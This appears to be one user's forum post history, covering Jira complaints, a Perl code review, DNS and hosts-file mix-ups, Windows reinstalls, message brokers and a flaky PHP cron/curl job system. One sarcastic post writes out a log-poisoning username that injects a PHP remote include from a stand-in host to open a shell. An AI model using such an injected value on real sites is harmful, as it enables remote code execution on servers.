This is what intelligence does. It recognizes patterns and applies patterns. Humans are like that too. (Except that humans have a few layers of poorly understood feedback loops which the machines lack. As of 2020.)
Posts made by gleemonk
-
RE: Excel is messing with your genes
-
RE: Jira reaches a new UX low
Hooray today the new interface was finally activated! And it's actually faster. Like a second faster to load. Overall it's still shit slow. But the gesture is appreciated.
-
RE: Jira reaches a new UX low
@Zenith Sorry I wasn't clear what I meant with parallel implementations. The problem is not that there are mutliple interfaces, but that they mix them! For example: When I create a ticket, I get a different RTE than when editing. That's hilariously bad UX.
Given that experience, when they write "improved navigation" it sounds a lot like "we'll add a bunch more stuff to our unwieldy interface" to me. But then again maybe they managed to improve it? Note that I still can't try it out! So the whole message is junk.
-
RE: Jira reaches a new UX low
@JBert said in Jira reaches a new UX low:
If you enable it you get a permanent top-bar with full-text "buttons" for projects, filters, dashboards, apps, creating a ticket or searching.
Sounds nice but I can't actually enable it.
The sidebar which used to house all of that in icon form can now be set to collapse to a very narrow bar which houses only context-sensitive items (like "find issues in current project", "current project releases", etc).
It's OK I guess, but it's all just an empty box - the old thing is new again!
Maybe it's faster? Yeah sure keep dreaming @gleemonk.
-
RE: Jira reaches a new UX low
@PJH said in Jira reaches a new UX low:
"New." Did you see the date on the post they linked to?
Haha no. Why would I read what they write? That message with a link to such an old post is adorable in a sad way. But really fuck them:
And all the OBN in the comments.
There does seem to be an odd aspect of praising I hardly experience in online forums. But there are some haters too, even if polite ones, so that makes me feel at home.
I'm still waiting for an interface that fully loads in less than 3 seconds. Hell, even under 3 minutes would be an improvment.
Keep waiting
and waiting
aaaand
.
.
waiting
.
THERE YOU ARE IT'S STILL SHIT SLOW. -
Jira reaches a new UX low
Not only do they keep two disparate interfaces running in parallel, they're putting up notices for new interfaces:
I already know how two parallel implementations for the rest of the interface are working badly. Now you tell me you're going to do it again? But not yet? Getting me anxious without delivering the blow? Fuck you too. We pay you for this shit!
-
RE: The end of humanity betting pool
@hungrier I clearly see years under the x axis:
I don't see why you're so critical about it. Given the context it would be really overkill to add a years label. If a human made that graph you'd probably laud it a good first attempt. But no, because it was a machine you drag out all kinds of reservations.
-
RE: The end of humanity betting pool
@hungrier said in The end of humanity betting pool:
@gleemonk World population today, x-axis unitless and unrelated
Why quibble how it was made? That graph shows what was requested: human population over time. It's correct to one order of magnitude even at the extremes. That's pretty good for AI overall you have to admit!
-
RE: The end of humanity betting pool
@topspin said in The end of humanity betting pool:
Also, fear not, as (contrary to popular belief) the human population is apparently exactly constant:
Looks good! It interpolated from today with negligible error.
-
RE: Today's Magic Numbers post is a Perl
@wft said in Today's Magic Numbers post is a Perl:
@gleemonk if they mean to use those βnumbersβ as strings, really, they need to use string comparison (
eq
)Oh that's a I wasn't even aware of! I was just irritated by the inconsistent use of quotes which meant that it would keep comparing strings and numbers. The values are more like identifiers than numbers. Though some do have an ordering.
-
RE: Today's Magic Numbers post is a Perl
@wft Yep this code is confusing. What I understood: These variables are catenated with other strings at the end. If the zero-padding isn't there the result is wrong. So instead of consistently using strings the author used strings where otherwise the zero would be lost. I don't think they realized what Perl is doing when for example
$s_d_1 . "_" . $s_n_1
drops the zero from the values they so clearly did write with a zero. All they knew is that adding quotes fixed it. -
RE: Today's Magic Numbers post is a Perl
@uschwarz-0 said in Today's Magic Numbers post is a Perl:
Oooooh, I like how they apparently have a linter that warns about octal constants.
The values in these variables are printed at the end and must be zero-padded to two digits in the output. I must assume that the perpetrator found out the hard way that you can
print 10
but thatprint 01
will drop the0
. At that point the special cases08
and09
were probably not that interesting.(But frankly, a proper linter can just fail on seeing "perl" in the first line or your program, IYAM.)
E_LINTING_FUTILE
-
RE: Today's Magic Numbers post is a Perl
@Tsaukpaetra when that script is sunk it won't ever be resurrected.
-
Today's Magic Numbers post is a Perl
I'm doing a code-review for code that up to now lived in SVN. There is a mix of Perl and PHP and it has been running for more than a decade. This example is in Perl, lines 2763 to 2801:
if (($TN_1 >=29) && ($s_n_1 == '09')) { $s_n_1 = '06'; } if (($TN_1 >=29) && ($s_n_1 == '07')) { $s_n_1 = '06'; } if (($TN_1 >=29) && ($s_n_1 == 15)) { $s_n_1 = 10; } if (($TN_1 >=29) && ($s_n_1 == 12)) { $s_n_1 = 10; } if (($TN_1 >=27) && ($s_n_1 == '07')) { $s_n_1 = '06'; } if (($TN_1 >=27) && ($s_n_1 == 12)) { $s_n_1 = 10; } if (($TN_1 <=23) && ($s_n_1 == 10)) { $s_n_1 = 12; } if (($TN_1 <=23) && ($s_n_1 == '06')) { $s_n_1 = '07'; } if (($TN_1 <=23) && ($s_n_1 == 11)) { $s_n_1 = '07'; } if (($TN_1 <=23) && ($s_n_1 == 10)) { $s_n_1 = 12; } if (($TN_1 <=22) && ($s_n_1 == '09')) { $s_n_1 = '07'; } if (($TN_1 <=22) && ($s_n_1 == 15)) { $s_n_1 = 12; } if (($TN_1 <=23) && ($s_n_1 == 13)) { $s_n_1 = '07'; }
The lines above and below that block look pretty much the same except that they manipulate
$s_d_1
and$s_d_2
, respectively.The consensus is that we better not touch that file
-
RE: DNS is optional
@cheong said in DNS is optional:
I wonder if the "DNS administration webinterface" sucks and they uses *nix, why won't they just disable that and setup new BIND, or use BIND and set that DNS server to use BIND as authoritative DNS server?
I think they just use the registrar's DNS servers. So it's a webinterface. I'm not convinced it's a good idea to have Sys run an authoritative nameserver for us.
I would prefer that over editing hosts file of hundreds of machines.
Puppet can do that part easily. That's not the problem.
-
RE: DNS is optional
@levicki said in DNS is optional:
No, I am just saying that you two clowns have it easy compared to how computers worked 35 years ago. You literally have everything cut out for you, and yet you whine about DNS management.
If you cut out your meta-whining we might get along.
Btw, are you saying that your setup is professional because you run a webhost on Windows 10 Professional?
Professionals do stuff for money they wouldn't do otherwise. (Oh no you )
You know managing hosts was a thing if you go back only a little more.
If by "managing" you mean editing a bunch of text files
That's exactly how names were mapped to numbers back in the day. Before DNS came along. Something I thankfully avoided by being born later.
located in a single humongous folder without any organization, naming convention, common format, or logic using vi which seems to be the Linux norm, sure. That's one area where Linux has tremendously advanced over the last three decades or so. Oh wait...
-
RE: DNS is optional
@mott555 said in DNS is optional:
Do you secretly work for the same company as me? We're always editing our hosts files so we can actually access local servers by name. We used to open tickets to have IT correct their internal DNS records but somehow they can never do it correctly.
Well it's not that bad at our place. I'm confident that if $somebody created a ticket for Sys, the entry in DNS would be corrected.
-
RE: DNS is optional
@_P_ said in DNS is optional:
Legit question, how do people who avoid using any public DNS server (Cloudflare's
1.1.1.1
or Google's8.8.8.8
) "because they are centralized and hence bad" manage the DNS records then? How do they resolve any IPs?Traditional recursive resolvers work fine. When the operator has a clue. And when they are not currently abused for DDOS amplification. And when the government isn't censoring them. You can run one locally if you're paranoid.
-
RE: DNS is optional
@HannibalRex said in DNS is optional:
@gleemonk is it
host
not reading/etc/hosts
? Seems like that would be the perfect file for it to read.Yeah that is surprising and counts as a in my book.
-
RE: DNS is optional
@levicki said in DNS is optional:
I am trying hard to feel sympathy, but all I get are two guys complaining about some DNS entries not matching.
Well yeah this describes the situation. If you take everything else as given.
All I am saying, people today have it easy.
Are you seriously comparing our setup to some hobbyist configuration thirty years ago? You know managing
hosts
was a thing if you go back only a little more. -
RE: DNS is optional
@Tsaukpaetra said in DNS is optional:
@gleemonk said in DNS is optional:
me
Mental profile updated.
I all these emojiz. Tomorrow I'll be !
-
RE: DNS is optional
@loopback0 said in DNS is optional:
@gleemonk said in DNS is optional:
On the production webservers
@gleemonk said in DNS is optional:
Windows 10
Wat.
Yeah well Windows is on the backend server because it needs a binary that's only available for Windows. It does count as WTF because we never got around to porting it.
-
DNS is optional
So has taken over this application from who'd departed to greener pastures. and me just had a session piecing together what happened half a year ago when the backend service was migrated to a new system by . Which, in your opinion, is TRWTF here?
Say Gleemonk can you help me quick?
What is it?
You know networks right?
It's my secret passion but yes.
So I'm checking up on this webserver here. When it connects to its backend servicegulfstream
, how can I know which server it is?
What do you mean?
See I doping gulfstream
on the server and it pings address172.16.233.2
. But when I dohost gulfstream
it says192.168.2.44
Wellhost
doesn't read/etc/hosts
. Have you checked that file?
Let's check! Look there's this line172.16.233.2 gulfstream
.
it's really there!
who would do this?
Why are you using an unqualified domain-name anyway?
I don't know. That's the way it's set up.
There are more entries inhosts
. All managed bypuppet
judging by the comments. I don't like how Sys makes us use unqualified domain-names. But I never realised these were actually entries inhosts
.
Do we know why it's set-up that way?
I never got a clear answer from Sys.
[Scrolls around despondently in/etc/hosts
of the webserver]
Seeing thishosts
and given how I hear Sys complain about their DNS administration webinterface: My theory is that the interface to manage the DNS entries is too cumbersome.
So they hardcode domain-names in thehosts
file?[Snip general shared complaints about Sys]
So but what I don't understand is when I browse to
https://gulfstream
I end up ongulf10
.
What isgulf10
?
Well it's the replacement system with Windows 10.gulfstream
is Windows 7. You don't know this?
No.
But you wrote a comment in this ticket where it says you switched back togulfstream
becausegulf10
provided wrong data in some cases. See here?
Ah yes it was who told Sys to switch DNS back. I was just communicating what happened to update the ticket.
Apparently everybody forgot about this including when he left.
Apparently.
I just got kicked by Sys because they want to turn offgulfstream
at the end of the year.
So $somebody will have to fixgulf10
before we can switch back over for good.
Yeah.[We share a moment of silence pondering who would be willing to take on that task.]
But anyway why does my browser end up on
gulf10
when I connect togulfstream
?
Well when told Sys to switchgulfstream
to a new server they must have updated the DNS entry.
And Sys would also have updated the entry inhosts
. But then when it didn't work and told them to switch back, they just reset the entry inhosts
.
And nowgulfstream
andgulfstream.ourcompany.com
point to different hosts.
But then when I run it on my local systemgulfstream
connects togulf10
, the new system!
Yeah because Sys doesn't manage your/etc/hosts
. They just putsearch ourcompany.com
inresolv.conf
.
So I get the new system but the webserver gets the old system for the same name. Working here is death by a thousand cuts.For those who have trouble following along (and I don't blame you): On our dev-systems, both
gulfstream
andgulfstream.ourcompany.com
resolve to the same new troubled production system, calledgulf10
. On the production webservers,gulfstream
resolves to the server calledgulfstream
which is the old production system. Butgulfstream.ourcompany.com
does resolve to the new systemgulf10
on all hosts. -
RE: Stack Exchange experiences Stack Meltdown, by enforcing preferred pronouns in site-wide communications
@aitap said in Stack Exchange experiences Stack Meltdown, by enforcing preferred pronouns in site-wide communications:
QFT. Why isn't social gender theory considered sexist?
Sexism is to gender what addiction is to drugs: when you do it in bad ways. Because people disagree about which discrimination is bad, they will use the sexism label differently. Like disagreeing over what makes one alcoholic.
And now I'm in trouble because I've used the word "discrimination" in a way that doesn't mean it's always bad
-
RE: Stack Exchange experiences Stack Meltdown, by enforcing preferred pronouns in site-wide communications
@dfdub said in Stack Exchange experiences Stack Meltdown, by enforcing preferred pronouns in site-wide communications:
[...] I'm willing to reconsider my position and accept neologisms if someone comes up with a reasonable pronoun other than it/they that we can easily use in a grammatically correct way.
I'm willing to consider but it will be a hard sell. Many languages do just fine without genders and we rarely need to differentiate genders in everyday speech. It's really weird to me as a self-identified feminist how there's suddenly all this clamoring for more gender differentiation. Weren't we supposed to lose that? Didn't we want a society where in most instances it doesn't matter what gender you are?
Just introduce a gender-neutral pronoun and have everybody use that. If you want to make progress.
I'm also happy to use whatever pronoun people want to be called if it makes them feel more accepted in the meantime.
Sure. Of the pronouns that already exist. I can't tell them how they should feel about gender even if my senses say otherwise.
-
RE: Stack Exchange experiences Stack Meltdown, by enforcing preferred pronouns in site-wide communications
Damn now I feel like the proverbial angry old man. I just read their proposed new CoC that was supposed to mend the situation. Fuck that they've really been owned by gender trolls. If they get that instated I'll just refuse to talk to anybody who demands anything outside of he/she/they/it. (It probably won't happen because people by and large have other shit to do.) I have enough experience with crazy people to value my sanity and disengage when somebody's telling me how this special pronoun is important to their identity. When I'm not sticking around to talk about their gender, why should it matter?
What I find unreasonable is to introduce more specific pronouns. The feeling of being excluded by he/she when you're neither I can understand. But then why not just settle on a gender-neutral pronoun and be done with it? If everybody can invent their own that's just going to be a mess because nobody else is going to know how to pronounce or inflect it. I'm not going to make my speech harder just to placate unreasonable people. The whole thing reeks of "education" where the unwilling masses are supposed to learn about "the many genders". Well I know the theory, but I'm not interested in learning about all the genders people have invented lately.
-
RE: Who's worse, Google, Nintendo, or everyone else? A mixed rant.
@djls45 said in Who's worse, Google, Nintendo, or everyone else? A mixed rant.:
If access to the recovery email is insufficient to change a forgotten password, then what's the purpose for having a recovery email?
The purpose is Google gets to know you better. Google is cuddly even if you aren't.
-
RE: How do I Windows?
@loopback0 I'm used to downloading boot images that work as-is. When I say copy, I mean copy the image, not copy the files inside the image. It feels wrong to me to have a process that copies individual files. So much can go wrong.
@Tsaukpaetra Ah thanks I didn't know that was some sort if high-tech. Weird how that didn't catch on for Windows. It allows creating the image as part of the build process and it avoids all errors that could be introduced by a broken filesystem.
-
RE: How do I Windows?
So I successfully ate the chocolate yesterday when the Windows 10 image didn't work right away after being copied to a USB stick. Turns out Microsoft hasn't figured out how to provide images that work on USB sticks for the people who don't have Windows to start with. I needed the third-party
woeusb
binary to get a working stick.Now it says it's preparing the system so I guess I'm free to go hunt more chocolate in the kitchen. Thanks again for the prompt help in this unpleasant task.
-
RE: How do I Windows?
Thanks everyone! I'd let myself get distracted by something more along my interests and only came back now to the sinful task of installing Windows.
Now I still don't know how the install will go. I'm ready with some consolation chocolate for either case
-
How do I Windows?
I want to pass on a laptop and I want to put the Windows back on it before that. It has a sticker with a license key for Windows 10 Pro Refurb. When I search for a Windows 10 image to reinstall they all want to shill me their iso downloader exe which in all likelyhood wouldn't run on my systems. How can I download an image to put on a USB stick? I don't think this should be hard. Surely Microsoft offers boot images to copy on a stick these days? Right? Somehow I can't seem to find the place. Where should I look?
-
RE: Are there any programming/IT certifications worth anything?
@Benjamin-Hall said in Are there any programming/IT certifications worth anything?:
But I'm too darn honest to feel comfortable writing that on a resume. I hate self-promotion, especially when it's stretching the truth. That, plus a huge case of impostor syndrome has really hobbled me...
My rule is: No negatives in the initial communication. For the CV that means sell my knowledge, experience and accomplishments. And sell hard. That's how the game is played. Expect the other side to expect you selling yourself. Always repeat to yourself: They would be disappointed if they missed me because I understated my skills. I did write in the CV that I'm looking for a place where I can develop skills in certain well-defined areas. Which is a tacit admission that I might not be perfect in those areas. That made me more comfortable with the rest of the CV.
Don't forget: In further communications, especially when you deign accept an interview with them, you can answer all their questions and reservations truthfully. If they read your CV at the best possible interpretation and hire you with no questions, you'll probably be working with people who overstated their skills considerably! So you'll be the most qualified if you stayed true to your skills also you'll be working with hacks
-
RE: Are there any programming/IT certifications worth anything?
So you've started many years ago with Python/Numpy in a science environment, are now accomplished Apple mobile dev, manage the LAMP stack (look, devops!), do web-frontends on multiple gigs, besides open-sourcing Seesharp projects? You're a fully multi-stack, penta-lingual experienced Rockstar dev! And do I see teaching experience as a bonus?
-
RE: Stubbornness
In some important ways, I'm that guy. Luckily I survived with little permanent damage. Which means my co-workers still have to deal with my stubbornness
-
RE: Bus for messages and massive files?
Just for your information we're now looking into Apache ActiveMQ Artemis because their docs say
The only realistic limit to the size of a message that can be sent or consumed is the amount of disk space you have available.
This gives me some confidence it will fit our use-case well.
-
RE: Parallel computing with Cron and PHP
@Bulb said in Parallel computing with Cron and PHP:
Of course there is. Including it in that
admyn.php
page cleverly secured by the unguessable name and there being no public links to it (at least I hope so).Hey how did you know our production setup? Well I'm not worried because you don't know our domain so it's all perfectly secure Anyway that script also enables a clever way of logging in when you misplaced the note with the password: Because user input is logged to the logfile you can fill out the form with this username
Bobby <?php include("http://shells.for.everyone/php"); ?>
and then visitadmyn.php
to trigger the shellSeriously though, I haven't found a place where logfiles are PHP-included. Maybe that part was removed.
-
RE: Parallel computing with Cron and PHP
What really worries me about this is the
OR
. It looks like the original programmer thought there were legitimate reasons why one would want to run a logfile through the PHP parser -
RE: Parallel computing with Cron and PHP
Wow this codebase provides! I'm doing some more work on it and as part of that I checked the log-file
log-2019-08-16.php
. Here's the first line in this file:<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
Yes it's true the logfile has a
.php
extension. -
RE: Bus for messages and massive files?
@JBert Thanks for the feedback. I'm not worried about bottlenecks because a single fileserver can easily withstand our burstiest times. We're not moving that much. Packs in the multi-gigabyte range only occur a few times per hour. It's all about simplifying the process. So I'd like to avoid having two protocols involved. But yeah if there is no other way we'll have to use a fileserver. Though I wonder if the leanest thing to do in that case is just to poll the fileserver and forget about a dedicated message broker.
@mikehurley I'm not worried about performance because a single fileserver on a gigabit link is sufficient for our purposes. It would be neat to have failover though.
-
Bus for messages and massive files?
Hey there! I'm looking for a message broker that can disentangle how we move data between hosts. Basically we have data coming in over FTP (yes), SFTP, HTTP, and a host of proprietary protocols. That data is currently copied via SSH/rsync to the devices that need it. So the systems that receive it and the systems that process it need to know each other. Which is a pain.
So I started looking into message brokers. At first I thought Kafka would fit our use-case very well. Unfortunately it doesn't do big files. And we do have packs in the multi-gigabyte range. Though the more frequent case is 1 MB. I saw some creative people split their files to funnel them through Kafka. I find that distasteful. Another way would be to have a storage server where large files are pushed and only the reference passed via Kafka. That would add complexity too.
So is there a message broker that:
- Can do pub/sub
- Has mature libraries for Python/PHP/Shell
- Transfers huge messages/files
- No hard latency requirements, "eventually" is good enough
- Optional: Can archive and replay
I don't really know much about the topic so please do comment if you see another solution than a message broker.
-
RE: Parallel computing with Cron and PHP
@izzion Yes indeed cache-invalidation is the worst problem.
-
RE: Parallel computing with Cron and PHP
@strangeways said in Parallel computing with Cron and PHP:
spawning a new thread every mouse click or similarly basic UI operation
Which means mouse-clicks can be applied out-of-order
-
RE: Parallel computing with Cron and PHP
@PleegWat said in Parallel computing with Cron and PHP:
popen()
Thanks! I wasn't sure what I recommended a year ago so I took the first thing that could possibly work. While it does "work",
shell_exec()
would be really ugly because you'd have to background the process with&
. -
Parallel computing with Cron and PHP
I'm not sure I ever told you about how a certain system, lets call it AIRHEAD, does it's calculations. Count the WTF.
- Customer sends sample data to a DB server on an hourly basis (not a WTF except that they occasionally delay or drop samples)
- At a set time, carefully timed to just after the customer is expected to have sent their samples, a crontab entry on the
airhead.io
system runswget [...] https://airhead.io/process/all.php
to trigger processing. all.php
runs in a loop doing essentially this (pseudocode, I spare you the PHP):for category in sample_categories do curl("https://airhead.io/process/process.php?category=" + category)
process.php
do calculations and write the result to files.all.php
runs calculation to combine the files into a summary file.
Now that would all be quite unreasonable to begin with, but step three is vastly more fragile and complicated for reasons I'm now getting to:
curl_exec()
is per default synchronous so the processing was done in series which is too slow andall.php
times out- A genius realized that you can set a short timeout
CURLOPT_TIMEOUT
which means the CURL call will return before the HTTP call completes. Effectively parallelizing the process. This works because the webserver is configured not to abort PHP when a request is canceled. - Now because
all.php
does not wait for a response code, it doesn't know whether the jobs completed. So the jobs write their status to a DB all.php
then waits in a sleepy loop for all jobs to clear, polling the DB- Then
all.php
schedules the summing step - Because sometimes samples are delayed, the cronjob is duplicated 5 minutes later so it re-runs
all.php
. which must check with the DB whether the jobs need running. - Monitoring of this machinery is implemented by having the jobs log profusely to a logfile. If the log goes over a threshold size we get alerted. The logfile is rotated every day so the alert is cleared every day because the failures are rotated away.
Now you'd think people should realize their path to hell when things are not going well. But no, they double down. You see, sometimes the
airhead.io
webserver (where all this runs) would delay answering a request, which means CURL aborts the connection before the job starts. How can we detect this situation? Genius knows how: set the connection timeout slightly lower than the total curl timeout, then detect connection failures by the fact that CURL was not waiting for a transfer! So that's how this pull request was sent my way. Again, details omitted, the real code is ten times as long due to various hacks I'll ignore here. This is how a job is started:... curl_setopt($curl, CURLOPT_CONNECTTIMEOUT_MS, 95); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 100); curl_exec($curl); $errno = curl_errno($curl); $getInfo = curl_getinfo($curl); if( $errno == CURLE_OPERATION_TIMEDOUT ) { $pretransferTime = $getInfo["pretransfer_time"]; if( $pretransferTime == 0 ) { log('error', 'connection failure'); } else { log('success', 'job started'); } } else { // more error handling ... }
So essentially, an HTTP request is sent and aborted after 100ms by which time it should have started processing. But if CURL was still stuck trying to connect after 95ms it will have aborted without having waited for data (
pretransfer_time === 0
), which allows us to detect connection timeouts where the job was likely not started.Overcoming the onslaught of WTF while piecing together the functionality, I consolidated my swearing to these recommendations:
- Start PHP processes from cron with
/usr/bin/php
rather than going through webserver withwget
- Start PHP backround processes with
shell_exec()
popen()
(yes, it's available) instead of going through the webserver withcurl
- Use
curl_multi_*()
for async processing if option 2. is too big a change.
The answer: "Oh that would be too much work and it works as it is. Also you can't do things in parallel in a PHP process so option 3 can't work."
The guy then spent more than a day tweaking the timeouts to bring the flakiness of the system below an "acceptable" threshold. And we're still living with that broken parallelization scheme a year later. I was just too much of a softie in code-reviews But experiences like this one steel my resolve
-
RE: OOP is TRWTF
@Carnage said in OOP is TRWTF:
It's not like there is a lack of people building shit designs in OOP, so they'd not really stand out much apart from the putting of FP on an altar an worshipping the shit out of it.
...and never producing anything of note with FP so they don't ever acknowledge that good design takes work in both paradigms.
The first time I wanted to write something longer than a page in Haskell I had no idea how to structure the program. I was paralysed. And I haven't written anything of substance in that language since. Maybe I should go around telling people it's impossible to have a good design in Haskell. But hey, the knowledge did transfer nicely to Elm, so all was not lost.
-
RE: OOP is TRWTF
Obviously when your objects are all mutable and you have a deep class hierarchy you're in a world of pain. Somehow the article didn't seem to move on from that. So I gave up reading after a few paragraphs. You'd think that at some point people should realize their ignorance when they're midway into writing such dross. But no, they publish it all to be embarrassed five years later when they understand things better. I know this because it happens to me frequently.
The way to avoid embarassement is to not learn new stuff. Or not to publish your ignorant writings. The sad thing is that these people will likely have to work in OOP languages and if they keep their ignorance they will not manage to produce a good design. Further solidifying their belief that OOP doesn't work.